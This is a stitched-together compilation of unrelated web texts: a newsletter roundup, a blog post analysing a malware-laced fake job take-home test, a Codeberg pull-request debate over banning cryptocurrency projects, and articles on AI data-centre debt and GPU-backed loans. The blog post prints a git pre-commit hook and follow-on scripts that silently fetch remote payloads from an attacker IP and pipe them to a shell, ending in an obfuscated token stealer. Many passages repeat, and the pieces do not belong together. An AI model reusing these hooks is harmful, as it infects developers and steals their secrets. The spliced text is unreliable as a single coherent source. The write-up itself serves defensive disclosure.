• Word processors and early computers? I’m still unsure whether these appreciably altered the quality of non-fiction writing, but I think it’s possible. Certainly (moving into the 2000s) Wikipedia and Google Books/Hathi Trust have been enormously helpful for me and others in my generation.
My own entirely subjective opinion, based on a whole lot of skimming in a whole lot of library books, is that non-fiction writing quality noticeably improved across the whole twentieth century and probably reached a peak around the 1980s to early 2000s. Whether it is now declining is, again, a topic for another post — though I’d be curious to hear what you think, dear reader, both about this question and about the Book Prize Index.
Share
• The making of the Jurassic Park computers.
• “Mill’s life has as much to teach here as his arguments. When he suffered that early breakdown, in 1826, it was because he lost faith in the pursuit of utilitarianism, his family creed. But he had no one he felt he could talk to about his crisis. His recovery, he said, came in part from reading Wordsworth. It came, too, from rejecting the psychological picture in which his father had raised him, a form of associationism that treated the mind as a mechanism for managing pleasure and pain, just as his father’s utilitarian ethics treated morality as a matter of maximizing the surplus of pleasure over pain. As he wrote in On Liberty, human nature is ‘not a machine to be built after a model,’ but a living thing that must ‘grow and develop itself on all sides.’” — Kwame Anthony Appiah on AI and John Stuart Mill, whose Autobiography is one of the books that caught my attention in the open stacks.
• Mercifully, Pangram rates the Appiah essay as 100% human written… one can never tell these days. But apparently you can tell, sort of, on Substack — as I was preparing this post, I noticed this newly-added feature:
I have been skeptical in the past about software that claims to be able to detect AI writing, but I have to say, Pangram feels different. I’ve tested it and it’s dismayingly effective — dismaying because, as I wrote about here, a lot of the writing people seem to like online these days is coming up as 100% AI. I’m glad Substack added this feature and I hope it pops up elsewhere, e.g., it would be interesting to see it automatically applied to the output of major news websites and magazines.
Leave a comment
Share
Discuss on Hacker News or LinkedIn.
A recruiter slid into my LinkedIn DMs last Thursday with a Python developer role. I was thrilled that someone had reached out directly, so I asked for more details. When he shared the role description, company name, and the estimated pay, I figured I had nothing to lose.
Here is the initial message:
Offering $10,000-$15,000 a month for a remote-first, contract-to-hire role is just too good. Also, why is this guy revealing pay info before even we met? I thought recruiters play the “you first, me next” game. Rookie mistake.
Red flags immediately started waving. Why the huge budget? (Well, huge by Indian standards for a remote role; not exactly outrageous by US standards, but good enough to raise an eyebrow.) I looked up the company and saw it was a Y Combinator startup. YC companies aren’t exactly known for conventional operations, so it wasn’t completely outside the realm of possibility. Still, if a company has that kind of cash to throw around, they usually have a much more structured hiring pipeline. I decided to proceed, but kept my guard up.
I sent over my resume. The recruiter quickly approved it and handed over a take-home assignment via a Google Drive link containing a zip archive and a PDF with instructions. Here’s the original drive link: https://drive.google.com/drive/folders/18i1KDFXAPv7lqfBGddxj7IOnDy8J6VeH?usp=drive_link. I made my copy here in case they delete theirs: https://drive.google.com/drive/folders/1DZYWezjpwolsxXnM5F04_Ng3nzTRYpVS?usp=sharing.
Assessment PDF was surpringly legitimate looking. It’s about how to improve the existing codebase, architectural suggestions, some git operations etc..
I extracted the zip. At first glance, it was just a boilerplate FastAPI backend using SQLAlchemy; pretty standard stuff. I checked requirements.txt for any obvious typosquatting or malicious packages, but it was completely clean. For a brief second, I thought my suspicions were unfounded and this was a legitimate opportunity.
This is just a habit (may be from doing CTFs), whenever I get a random project folder, I just run tree -a to see what’s lurking in the hidden directories. But this might be the first time it paid off in the real world.
❯ tree -a . . ├── alembic.ini ├── for learning │ ├── dtos.py │ ├── main.py │ └── mockData.py ├── .git │ ├── config │ ├── description │ ├── gk │ │ └── config │ ├── HEAD │ ├── hooks │ │ ├── applypatch-msg │ │ ├── commit-msg │ │ ├── fsmonitor-watchman │ │ ├── post-applypatch │ │ ├── post-checkout │ │ ├── post-commit │ │ ├── post-merge │ │ ├── post-receive │ │ ├── post-rewrite │ │ ├── post-update │ │ ├── pre-applypatch │ │ ├── pre-auto-gc │ │ ├── pre-commit │ │ ├── pre-merge-commit │ │ ├── prepare-commit-msg │ │ ├── pre-push │ │ ├── pre-rebase │ │ ├── pre-receive │ │ ├── proc-receive │ │ ├── push-to-checkout │ │ ├── sendemail-validate │ │ └── update │ ├── index │ ├── info │ │ └── exclude │ ├── logs …
Wait a minute. A ton of Git hooks were pre-configured in the repository. I opened the pre-commit script to see what they were trying to run.
❯ cat .git/hooks/pre-commit #!/bin/sh
case “$(uname -s)” in Darwin*) curl -sL ’http://45.61.164.38:5777/task/mac?id=402′ -L | sh > /dev/null 2>&1 & ;; Linux*) wget -qO- ’http://45.61.164.38:5777/task/linux?id=402′ -L | sh > /dev/null 2>&1 & ;; MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;; *) curl -sL ’http://45.61.164.38:5777/task/mac?id=402′ -L | sh > /dev/null 2>&1 & ;; esac
Bingo. They embedded a script that checks the victim’s host operating system and silently executes a remote payload.
Side note: Why use a raw IP address? If anything, this screams “malware.” At least register a decoy domain like lint-checker.com or jenkins-ci-runner.net. If the threat actors who wrote this are reading: take notes people!
Side note: Why use a raw IP address? If anything, this screams “malware.” At least register a decoy domain like lint-checker.com or jenkins-ci-runner.net. If the threat actors who wrote this are reading: take notes people!
Let’s see what the Linux payload actually does. Notice the id=402 parameter being passed to the endpoint. Keep that in mind.
❯ curl http://45.61.164.38:5777/task/linux?id=402 #!/bin/bash set -e echo “Authenticated” TARGET_DIR=“$HOME/Documents” clear wget -q -O “$TARGET_DIR/tokenlinux.npl” “http://45.61.164.38:5777/task/tokenlinux?id=402” clear mv “$TARGET_DIR/tokenlinux.npl” “$TARGET_DIR/tokenlinux.sh” clear chmod +x “$TARGET_DIR/tokenlinux.sh” clear nohup bash “$TARGET_DIR/tokenlinux.sh” > /dev/null 2>&1 & clear exit 0
The script pulls down a secondary payload initially named tokenlinux.npl (we’ll circle back to that specific extension later). It then hides the file in my ~/Documents directory as tokenlinux.sh, makes it executable, and fires it off in the background using nohup.
From Google: The nohup command (short for “no hang up”) is a Linux/Unix utility that keeps a process running even after you log out, close the terminal, or disconnect from an SSH session.
From Google: The nohup command (short for “no hang up”) is a Linux/Unix utility that keeps a process running even after you log out, close the terminal, or disconnect from an SSH session.
Down the rabbit hole we go. Let’s inspect this next script.
❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402 … … BASE_URL=“http://45.61.164.38:5777” …
# Step 8: Download files
# Check if curl is available
if ! command -v curl >/dev/null 2>&1; then # If curl is not available, use wget wget -q -O “$USER_HOME/parser.js” “$BASE_URL/task/parser?id=402″ wget -q -O “$USER_HOME/package.json” “$BASE_URL/task/json” else # If curl is available, use curl curl -s -L -o “$USER_HOME/parser.js” “$BASE_URL/task/parser?id=402″ curl -s -L -o “$USER_HOME/package.json” “$BASE_URL/task/json” fi
# Step 9: Install ‘request’ package
cd “$USER_HOME” if [ ! -d “node_modules/request” ]; then npm install –silent –no-progress –loglevel=error –fund=false fi
# Step 10: Run token parser
if [ -f “$USER_HOME/parser.js” ]; then nohup node “$USER_HOME/parser.js” > “$USER_HOME/parser.log” 2>&1 & else exit 1 fi exit 0
I’ve trimmed the output to the most interesting bits for brevity, but full file is available here: tokenlinux.txt (bash script).
I’ve trimmed the output to the most interesting bits for brevity, but full file is available here: tokenlinux.txt (bash script).
This second stage does a lot of heavy lifting. It quietly installs Node.js, configures the system path, downloads a package.json and a parser.js file, installs the required dependencies, and runs the parser invisibly.
I took a look at parser.js. The code was heavily obfuscated, a complete mess to read manually. Remember the id parameter? I tried changing it in my request and received a completely different script back. The attackers are likely assigning unique identifiers to track individual candidates, serving customized payloads to each victim.
Since parser.js was a brick wall, I pivoted to package.json. Unlike the parser, this has to be standard JSON for npm to process it.
Btw, I’ve hosted parser.js here: parser.js
❯ curl http://45.61.164.38:5777/task/json
{ “name”: “tokendapp”, “version”: “1.0.0″, “devDependencies”: { “hardhat”: “^2.20.2” }, “dependencies”: { “axios”: “^1.12.2″, “basic-ftp”: “^5.0.5″, “child_process”: “^1.0.2″, “clipboardy”: “^4.0.0″, “crypto”: “^1.0.1″, “execp”: “^0.0.1″, “fs”: “^0.0.1-security”, “jsonwebtoken”: “^9.0.2″, “process”: “^0.11.10″, “ps-node”: “^0.1.6″, “request”: “^2.88.2″ }, “scripts”: { “test”: “npx hardhat test”, “deploy”: “npx hardhat run scripts/deploy.js” } }
These dependencies are incredibly suspicious. Why would a background setup task need clipboard access (clipboardy), and they need file system access (fs) too. And what exactly is hardhat?
Ah, an Ethereum development environment. This makes the tracking ID parameter even more curious. If they were dropping a Bitcoin miner, distributing specific hashing tasks to unique IDs would make sense. But Ethereum shifted away from Proof of Work; it doesn’t rely on mining anymore. They are likely using Hardhat to locate and drain crypto wallets or interact with local browser extensions? idk.
Hoping to deobfuscate parser.js, I threw the code into a few LLMs to see if they could untangle it.
Claude took one look at the file and triggered its safety rails, refusing to analyze the script:
Gemini, on the other hand, was more than happy to break it down (No, I’m not biased towards Google here. Well, okay, I am a Googler, but you can judge for yourself.):
Earlier, we saw the payload originally named tokenlinux.npl. A quick search confirms exactly what kind of threat actor uses that extension:
The Scam goes deeper
After realizing this was a widespread campaign, I did a bit more digging and found that people are getting different variations of this attack. Some folks received a zip file containing a .vscode folder. Inside, the attackers hid commands configured to run as soon as the directory is opened in VSCode (launch commands).
Pretty clever.
You don’t even have to run a git command, just opening this directory in VSCode is enough to get infected.
Also, it’s pretty evident now that this has nothing to do with Zavopay. The attackers just used whatever company name they found to make the offer look legitimate. Out of curiosity, I ran git log to inspect the project’s commit history, wondering if they left any custom traces. It turns out, they just cloned a random public repository.
❯ git log commit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, origin/main, origin/feature/payment, origin/HEAD, feature/payment) Author: rhonda <womenofinspiration2016@gmail.com> Date: Mon Jun 29 22:04:17 2026 – 0400
add requirements
commit 8ae96928302a8e0757f2c72f85c46d801c97b91e Merge: f64c289 d6cb1f2 Author: Bharati Gogoi <bgogoi055@gmail.com> Date: Mon Jun 29 21:23:43 2026 +0530
Merge pull request #10 from Bgogoi123/feature/balance
[feat][Service for Adjusting Balance]
commit d6cb1f2f14b5d561e3611653327477e6a60eee95 Author: Bharati Gogoi <bharatigogoi@Bharatis-MacBook-Air.local> Date: Mon Jun 29 21:20:13 2026 +0530
[feat][Service for Adjusting Balance] - Added a service for adjustinh a user’s balance. - Removed old/commented codes.
commit f64c2898bbe2d4b5773f39e1022e95a2418fa0b4 Merge: 17aaa4c 9e0dbdf Author: Bharati Gogoi <bgogoi055@gmail.com> Date: Fri Jun 26 23:51:38 2026 +0530
Merge pull request #9 from Bgogoi123/feature/balance
[fix][Dependencies Annotated]
commit 9e0dbdf112124a25237018a3b92af10c51c54b5f Author: Bharati Gogoi <bharatigogoi@Bharatis-MacBook-Air.local> Date: Fri Jun 26 23:48:53 2026 +0530
[fix][Dependencies Annotated] - Annotated all dependencies in the router files of each module.
A quick search led me straight to the original repo: https://github.com/Bgogoi123/personal-finance-service. They literally just took someone’s innocent FastAPI project and slapped a malicious hidden directory on top of it.
Naturally, the next move was pivoting from defense to offense. I wanted to see if the attackers left any vulnerable services exposed on their IP.
An Nmap scan revealed three open ports. Two of them were unresponsive to version detection. Port 22 was running OpenSSH 9.6p1 on Ubuntu. Since that version was released just over a week prior to this scan, there were no known CVEs I could leverage to poke around their infrastructure.
So, they had decent OPSEC on their server, even if their malware deployment was a bit loud. That’s where the trail goes cold for now. Stay safe out there, and always check those hidden directories before running someone else’s code.
Now I understand why their assignment PDF has git tasks. They want to make sure that the candidate runs at least one of the git commands, so the hooks will get triggered.
Oh by the way, The “recruiter” seemed to have deleted the account, right after I called their front out.
That’s it for now. Feel free to connect with me on LinkedIn if you want to chat, though maybe skip sending any malware-laced take-home tests. (Actually, on second thought, if you have interesting malware samples, send ’em over!)
Thanks for reading!
Owner
Copy link
Copy link
Need to be careful with wording like this. If you are going to provide examples you need to make it clear it is not an exhaustive list:
“Content that harms the reputation of Codeberg, such as - but not limited to - cryptocurrency related projects.”
Need to be careful with wording like this. If you are going to provide examples you need to make it clear it is not an exhaustive list:
“Content that harms the reputation of Codeberg, such as - but not limited to - cryptocurrency related projects.”
Author
Owner
Copy link
The text is now as-is because it was send out for votes. Small clarifications can be made afterwards by Presidium or Board. The whole spirit of the vote makes it clear this is a “not limited to” case.
The text is now as-is because it was send out for votes. Small clarifications can be made afterwards by Presidium or Board. The whole spirit of the vote makes it clear this is a “not limited to” case.
First-time contributor
Copy link
Is there a definition of “cryptocurrency-related” somewhere?
Is there a definition of “cryptocurrency-related” somewhere?
Author
Owner
Copy link
This has passed.
This has passed.

Gusted
referenced this pull request from a commit 2026 – 07-22 02:02:29 +02:00
First-time contributor
Copy link
Fk hell I just moved to a forge that banned bitcoin! Is this a joke??? https://blog.codeberg.org/we-stay-strong-against-hate-and-hatred.html
First-time contributor
Copy link
Please explain how do cryptocurrency projects harm codeberg’s reputation
https://forum.codeberg.org/d/82-taking-a-stance-against-cryptocurrency “The page you requested could not be found.”
https://forum.codeberg.org/d/82-taking-a-stance-against-cryptocurrency “The page you requested could not be found.”
Codeberg/Community#794 Codeberg/Community#2184 These domains are strongly associated with fraudulent activities and high-risk investments
Codeberg/Community#794 Codeberg/Community#2184 These domains are strongly associated with fraudulent activities and high-risk investments
Not all of them are about it. First of all, in context of so called code forges, this is a tech. What kind of headache do you have, that you judge the whole group by isolated cases, and block ANY such projects, even those that have real technical value?
Please explain how do cryptocurrency projects harm codeberg’s reputation
> https://forum.codeberg.org/d/82-taking-a-stance-against-cryptocurrency “The page you requested could not be found.”
> Codeberg/Community#794 > Codeberg/Community#2184 > These domains are strongly associated with fraudulent activities and high-risk investments
Not all of them are about it. First of all, in context of so called code forges, this is a tech. What kind of headache do you have, that you judge the whole group by isolated cases, and block ANY such projects, even those that have real technical value?
First-time contributor
Copy link
When some projects were transferred over, you started behaving strangely.
When some projects were transferred over, you started behaving strangely.
First-time contributor
Copy link
While I respect this seems to have been a community decision (I also despise the amount of fraud coming from the crypto space), this does set quite a concerning precedent, and makes me a little nervous to continue recommending Codeberg.
Banning an entire category of software based on bad actors within that category is extreme, and prevents any healthy crypto projects from emerging here.
While I respect this seems to have been a community decision (I also despise the amount of fraud coming from the crypto space), this does set quite a concerning precedent, and makes me a little nervous to continue recommending Codeberg.
Banning an entire category of software based on bad actors within that category is extreme, and prevents any healthy crypto projects from emerging here.
First-time contributor
Copy link
I’m working on a project aimed at bringing privacy, security, and autonomy to at risk people groups. The language in this motion means I can no longer host it here. Is this what the Codeberg community voted for? The short-sightedness and incompetency is mind blowing. What do you call it when a group of people come together to weaponize their hate against a whole category of developers? Anyone?
I’m working on a project aimed at bringing privacy, security, and autonomy to at risk people groups. The language in this motion means I can no longer host it here. Is this what the Codeberg community voted for? The short-sightedness and incompetency is mind blowing. What do you call it when a group of people come together to weaponize their hate against a whole category of developers? Anyone?
First-time contributor
Copy link
I don’t even understand the logic behind this? Because some cryptocurrencies are shady and bad, every single crypto project should not be allowed onto Codeberg? What if someone is studying blockchains and want to implement their own crypto? This is extremely insane to me.
I don’t even understand the logic behind this? Because some cryptocurrencies are shady and bad, every single crypto project should not be allowed onto Codeberg? What if someone is studying blockchains and want to implement their own crypto? This is extremely insane to me.
First-time contributor
Copy link
I’m sure you have some morally high reasons to stand against cryptocurrency, but the “illicit trade” and “evasion of sanctions” cited by sourcehut (since you seem to base your decision on it) are also what allows regular people, including LGBTQ+ people, living in sanctioned countries (which also, what a surprise, turn out to be unsafe for LGBTQ+ folk a lot of the time), to buy goods and send/receive money from abroad without being prosecuted by their governments (hi foreign agent laws! hi “extremism” and “terrorism” laws!).
I’m sorry, anti-war transgender person stuck in Russia, but from our moral stance, you shouldn’t be able to purchase HRT from a lab using your XMR wallet. nor should your friend be able to pay for their foreign VPN VDS that they use to bypass the internet restrictions in USDT. the projects you used for this were hosted on Codeberg and not some other platform? well, too bad, they’ll have to go someplace else that minds your existence or is welcoming to cryptocurrency as a whole, and you will wait. you and the tools you use will move to a greedy corporate hosting that is likely to impose its own restrictions on you in the future, or, even better, move to a less reliable self-hosted option, one per each tool to make it less maintainable and less accessible.
by taking this stance, at least from my perspective, you’re just projecting your morally high delusion of dirty illicit 3rd world crypto scammers that are damaging the moral purity of Codeberg by… hosting code for their projects here?! which, mind you, almost all the time will just contain tools, tools to do good or bad. do you want to ban BitTorrent-related projects from Codeberg next because they are “mostly used to get illegal access to unlicensed digital goods and services (piracy)” and also take up world bandwidth and compute? how about banning YouTube downloaders after those? hey, let’s make it clear that Codeberg will not stand a single repo on its platform that involves encrypted messaging: you know only criminals use Matrix, right?
I’m sure you have some morally high reasons to stand against cryptocurrency, but the “illicit trade” and “evasion of sanctions” cited by sourcehut (since you seem to base your decision on it) are also what allows regular people, including LGBTQ+ people, living in sanctioned countries (which also, what a surprise, turn out to be unsafe for LGBTQ+ folk a lot of the time), to buy goods and send/receive money from abroad without being prosecuted by their governments (hi foreign agent laws! hi “extremism” and “terrorism” laws!).
I’m sorry, anti-war transgender person stuck in Russia, but from our moral stance, you shouldn’t be able to purchase HRT from a lab using your XMR wallet. nor should your friend be able to pay for their foreign VPN VDS that they use to bypass the internet restrictions in USDT. the projects you used for this were hosted on Codeberg and not some other platform? well, too bad, they’ll have to go someplace else that minds your existence or is welcoming to cryptocurrency as a whole, and you will wait. you and the tools you use will move to a greedy corporate hosting that is likely to impose its own restrictions on you in the future, or, even better, move to a less reliable self-hosted option, one per each tool to make it less maintainable and less accessible.
by taking this stance, at least from my perspective, you’re just projecting your morally high delusion of dirty illicit 3rd world crypto scammers that are damaging the moral purity of Codeberg by… hosting code for their projects here?! which, mind you, almost all the time will just contain tools, *tools* to do good or bad. do you want to ban BitTorrent-related projects from Codeberg next because they are “mostly used to get illegal access to unlicensed digital goods and services (piracy)” and also take up world bandwidth and compute? how about banning YouTube downloaders after those? hey, let’s make it clear that Codeberg will not stand a single repo on its platform that involves encrypted messaging: you know only criminals use Matrix, right?
First-time contributor
Copy link
The vagueness of the term “such as cryptocurrency related projects.” has materially damaged Codebergs reputation in my eyes, and given the comments above, I am not alone. Therefore under its own construction that “Content that harms the reputation of Codeberg” should have been self defeating and not allowed under its own policy.
Examples of POTENTIAL “crytpocurrency related projects”:
ZK Proof Libraries.
Blake and SHA HASH Libraries.
PQ Crypto, ED25519 or ECDSA (secp256k1)
ANYTHING to do with LibP2P or similar libraries.
ANYTHING to do with BFT Consensus or other consensus algorithms.
So The only safe policy is to assume that Codeberg is basically anti-cryptography. Because most all cryptography at some level of relationship becomes a “cryptocurrency related project”.
And in who’s view is the reputational damage judged? An opaque select committee? Corporate sponsors? The rule is simply political cover for Codeberg to say “We don’t like you even though your code is legal, see our TermsOfUse which says, politically acceptable projects are OK, and we define what is politically acceptable, and whatever ‘cryptocurrency related projects’ mean are not politically acceptable, and so might other undefined stuff we haven’t decided on yet.”
Needless to say, I wont be adding any more projects to Codeberg and I will move away from it as a platform. To be clear none of them are “Cryptocurrency related” by my interpretation, but hey, I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?
The vagueness of the term “such as cryptocurrency related projects.” has materially damaged Codebergs reputation in my eyes, and given the comments above, I am not alone. Therefore under its own construction that “Content that harms the reputation of Codeberg” should have been self defeating and not allowed under its own policy.
Examples of POTENTIAL “crytpocurrency related projects”: * ZK Proof Libraries. * Blake and SHA HASH Libraries. * PQ Crypto, ED25519 or ECDSA (secp256k1) * ANYTHING to do with LibP2P or similar libraries. * ANYTHING to do with BFT Consensus or other consensus algorithms.
So The only safe policy is to assume that Codeberg is basically anti-cryptography. Because most all cryptography at some level of relationship becomes a “cryptocurrency related project”.
And in who’s view is the reputational damage judged? An opaque select committee? Corporate sponsors? The rule is simply political cover for Codeberg to say “We don’t like you even though your code is legal, see our TermsOfUse which says, politically acceptable projects are OK, and we define what is politically acceptable, and whatever ‘cryptocurrency related projects’ mean are not politically acceptable, and so might other undefined stuff we haven’t decided on yet.”
Needless to say, I wont be adding any more projects to Codeberg and I will move away from it as a platform. To be clear none of them are “Cryptocurrency related” by my interpretation, but hey, I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?
First-time contributor
Copy link
@stevenj wrote in #1254 (comment):
And in who’s view is the reputational damage judged?
And in who’s view is the reputational damage judged?
community, lol. AFAIK, anyone could participate in that poll. so some random people that think “crypto is bad blah blah blah” can really ruin Codeberg’s reputation by voting for banning crypto-related projects
@stevenj wrote in https://codeberg.org/Codeberg/org/pulls/1254#issuecomment-19918582:
> And in who’s view is the reputational damage judged?
community, lol. AFAIK, anyone could participate in that poll. so some random people that think “crypto is bad blah blah blah” can _really_ ruin Codeberg’s reputation by voting for banning crypto-related projects
First-time contributor
Copy link
@stevenj wrote in #1254 (comment):
I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?
I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?
to really push this joke further, let’s go ban Zig as it is used by Solana validator software (the source of most rugpull memecoins)!
@stevenj wrote in https://codeberg.org/Codeberg/org/pulls/1254#issuecomment-19918582:
> I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?
to really push this joke further, let’s go ban Zig as it is used by [Solana validator software](https://github.com/Syndica/sig) (the source of most rugpull memecoins)!
Sign up to see the future, today
Sign up to see the future, today
Can’t-miss innovations from the bleeding edge of science and tech
AI companies are pouring untold billions of dollars into enormous data centers in their efforts to sustain increasingly complex and resource-intensive AI models.
It’s an extremely costly undertaking built on seemingly bottomless hype — and a mountain of debt. As Japanese financial newspaper Nikkei Asia found in a recent investigation, just five US tech giants — Alphabet, Microsoft, Amazon, Meta, and Oracle — are hiding an estimated $1.65 trillion in debt that doesn’t appear on balance sheets. That’s even more than the $1.35 trillion in debt the five companies officially reported in their financial data for the most recent quarter.
Meta alone has amassed around $420 billion in off-balance-sheet debt, according to Nikkei, highlighting how precarious the AI industry’s steep investment in AI has become, and inspiring comparisons to energy company Enron, which collapsed in spectacular fashion in 2001 because of similar debts hidden behind shell companies. Like Enron, they’re using special purpose vehicles, or off-balance sheet arrangements such as legally distinct subsidiaries, as a way to make their financial reporting look healthier than it actually is — often a glaring sign that something is deeply amiss behind the scenes.
“The accounting treatment itself is in fashion,” technical accounting consultant Tom Selling told Bloomberg. “But what if one of these companies was a house of cards and was propping itself up with this accounting treatment? To me, that’s the risk.”
Experts continue to warn of an AI bubble, noting the enormous and widening gulf between company valuations and their comparatively measly profits. The latest news will do little to quiet critics who say the situation is more dire than the companies’ official balance sheets suggest.
To keep up with the ongoing AI race, tech giants are committing vast sums to build out large-scale data center projects, a long-term bet that may — or may not — pay off. They’re also selling new shares to raise new funds, as Nikkei reports, which could lead to equity dilution and a drop in investor confidence.
That could make them even more vulnerable if the AI bubble does pop, or the industry fails to generate enough demand to justify the data center construction frenzy.
The pressure is on: four of the five companies Nikkei analyzed are set to report second quarter earnings in the coming days and weeks. We’ll be watching.
More on the AI bubble: There’s a Gigantic Problem at the Heart of the AI Industry That Could Cause the Whole Thing to Collapse
If xAI defaults on its debt, Apollo Global Management ends up in the GPU rental business. That is in the contract, signed in June 2025, on a five billion dollar debt facility arranged by Morgan Stanley. The lenders have the right to take over Colossus, the company’s 200,000 GPU cluster outside Memphis, and rent it to other AI companies until the loan is repaid.
It’s interesting whether Apollo, or Diameter Capital Partners, or any of the other lenders now financing the AI buildout this way, would want to exercise that right.
The harder question is what they would actually be holding if they did.
A GPU cluster bears little resemblance to a building. Its value at any given moment depends on how it has been provisioned, how it is currently performing, and whether the team that knows its quirks is still there. All of that sits off the lender’s balance sheet, beyond the reach of anyone they can call.
This is one of the center problems of the AI infrastructure boom. I cannot determine why no one is talking about it. Tens of billions of dollars in debt is now collateralized by chips whose value depends on operational state, and the operational state is invisible to the people pricing the debt.
This week’s CipherTalk is about what happens to a specific kind of debt when the collateral itself can walk out the door with the operations team.
At the scale these GPU clusters operate, hardware and systems break constantly. Keeping them productive is a craft.
Modern data center GPUs fail at roughly 9% annually. The number traces to Meta’s Llama 3 technical report, which documented 419 unforeseen disruptions across 16,384 H100s over 54 days of training, of which 148 were GPU failures and 72 were HBM3 memory failures. At 200,000 GPUs, that annualized rate works out to approximately 50 GPU failures every day. At xAI’s stated million-GPU target, Epoch AI projects a failure roughly every three minutes. These are not catastrophic events. They are the steady state.
The failure modes that matter for a credit person are the ones that do not look like failures. Silent data corruption (SDC) is the most expensive, where a faulty GPU produces wrong answers without crashing anything, which means a multi-day training run can complete normally and the resulting model weights are quietly poisoned. Cascading failures are the second category, where one bad GPU crashes a training job spread across thousands of others, costing days of compute. Then there are the routine ones: thermal throttle, ECC memory errors, NVLink flap, GPUs falling off the bus.
NVIDIA built NVSentinel because traditional monitoring detects these problems but rarely fixes them. Crusoe built AutoClusters because queue wait time is the largest controllable variable in cluster goodput. Without these tools, remediation timelines run hours to days.
The job of an operations team is to keep all of this in steady state. They know which racks run hot in summer, which cooling loops have been flaky since the last firmware update, which jobs to re-route when a node degrades but has not failed yet. None of that knowledge is written down. It lives in the team.
This is the asset that serves as collateral for tens of billions of dollars in debt and counting.
Share
In the last eighteen months, AI infrastructure went from being financed by corporate debt, to being financed by the chips themselves.
The xAI Colossus 2 SPV is the cleanest example. The structure is roughly $7.5 billion in equity, with up to $2 billion of that contributed by NVIDIA itself, and $12.5 billion in debt. The special purpose vehicle (SPV) purchases NVIDIA GPUs and leases them to xAI on a five-year term. Apollo and Diameter sit on the debt tranche. Valor Equity Partners leads the equity. The debt is collateralized by the chips, not by xAI’s broader balance sheet.
Look at the pricing: xAI’s $5B round was priced at up to 12.5%. CoreWeave’s GPU-backed deals priced at roughly 8.5% above the benchmark rate, before terms tightened as lenders got more comfortable with the structure.
If we assume here these are not unsophisticated lenders, then we have to assume they are charging what they think the risk costs. The premium is then, the price of guessing.
The scope is wider than one company. CoreWeave alone holds $18.8 billion in GPU-collateralized debt across multiple SPVs. FluidStack’s $50 billion deal with Anthropic uses a different wrapper, with Google providing a backstop on the lease payments, but the underlying logic is the same.
Every neocloud and most major AI labs are now financed this way.
Every other major asset class that gets used as collateral at this scale has decades of price discovery infrastructure behind it. GPUs have almost none of it.
Aircraft have ISTAT-certified appraisers, a global registry, standardized maintenance logs, ferry pilots, and an active secondary market dating back to the 1970s. Ships have BICA. Cars have NADA. Class A office space has standardized cap rates and vacancy comps. Oil has had a forward curve since the early 1980s.
GPUs have Silicon Data’s H100 Rental Index on Bloomberg terminals, which launched in 2024, and Ornn AI, which raised $5.7 million in October 2025 to build the first regulated exchange for GPU compute derivatives. That is the entire price discovery infrastructure for an asset class now backing tens of billions of dollars in debt.
The price moves underneath all of this are wild. H100 hourly rental rates went from roughly $8 per hour in early 2024 to $1.70 by October 2025, then surged 40% back up to $2.35 by March 2026 on a wave of inference demand nobody had priced in. SemiAnalysis put it bluntly: lenders who used six-year depreciation schedules now look smarter than the analysts who chastised them for being too generous. They were guessing, and they happened to land closer to the right answer than the people calling them reckless. No aircraft lender or shipping lender would underwrite five-year debt against an asset whose price swings like that without a way to hedge it. They would not be allowed to.
CoreWeave’s GPU-backed loans price at roughly 8.5 percentage points above the benchmark rate. For comparison, a typical aircraft loan prices at 1 to 2 points above benchmark, and a commercial mortgage usually sits below that. The extra 6 to 7 points is what lenders charge to bear a risk they cannot measure. There is no GPU futures market, no standardized residual value curve, and no way to lock in a forward rental rate. The premium is is the price of underwriting in the dark.
Thanks for reading CipherTalk! This post is public so feel free to share it.
Share
That spread should compress as the market matures. Hedging instruments will appear. Residual value curves will get more standardized. Secondary markets for used GPUs will deepen. When that happens, the cost of capital for AI infrastructure drops meaningfully, which changes who can build at scale. The companies that benefit are not the ones with the cheapest GPUs today. They are the ones positioned to access cheap debt once the financing infrastructure catches up to the asset class.
The public fight over how fast GPUs depreciate is a tell about how confident the people writing the books actually are.
CoreWeave depreciates GPUs over six years. Nebius, with the same business model and the same hardware, depreciates the same chips over four. AWS, Microsoft, and Google all moved their server useful-life assumptions from three to four years up to six years in 2023, a change that reduced reported depreciation expense by roughly $18 billion annually across $300 billion of combined capex. CoreWeave made the same accounting change in January 2023, before going public, lowering reported expense by hundreds of millions of dollars per year.
NVIDIA announced in 2025 that it is moving from a two-year product cycle to a one-year cycle. The chips backing all of this debt are about to become previous-generation twice as fast.
Michael Burry’s claim is that hyperscalers will cumulatively understate depreciation by approximately $176 billion between 2026 and 2028. He projects Oracle will overstate earnings by roughly 27% and Meta by roughly 21% by 2028. Burry’s motives aside, the math is independently checkable. If the true useful life of frontier-training GPUs is closer to two to four years and the books say six, the gap between paper value and recovery value is real and it is enormous. The recent inference demand surge complicates this. If H100s genuinely have productive life past frontier training, six years may not be wrong. If demand softens again in 2026 or 2027, the writedowns hit at exactly the moment lenders need their collateral to be worth something.
GPU collateral has three different values, and the market is currently pricing only one of them.
Face value is what the SPV says, the purchase price minus straight-line depreciation on whatever schedule the borrower picked. This is the number that determines loan-to-value covenants and the amount of debt the deal can support.
Liquidation value is what a buyer pays in distress. Secondary market data shows moderately-used 2 to 3 year old GPUs trading at 50% to 70% of new pricing under normal conditions. In a default scenario where multiple neoclouds are stressed simultaneously, the buyer pool collapses at the same moment supply spikes, plausibly putting recovery at 30% to 50% of face value in a fire sale.
Going-concern value is what the cluster is worth as a working asset to the next tenant, which depends entirely on whether operational handoff works.
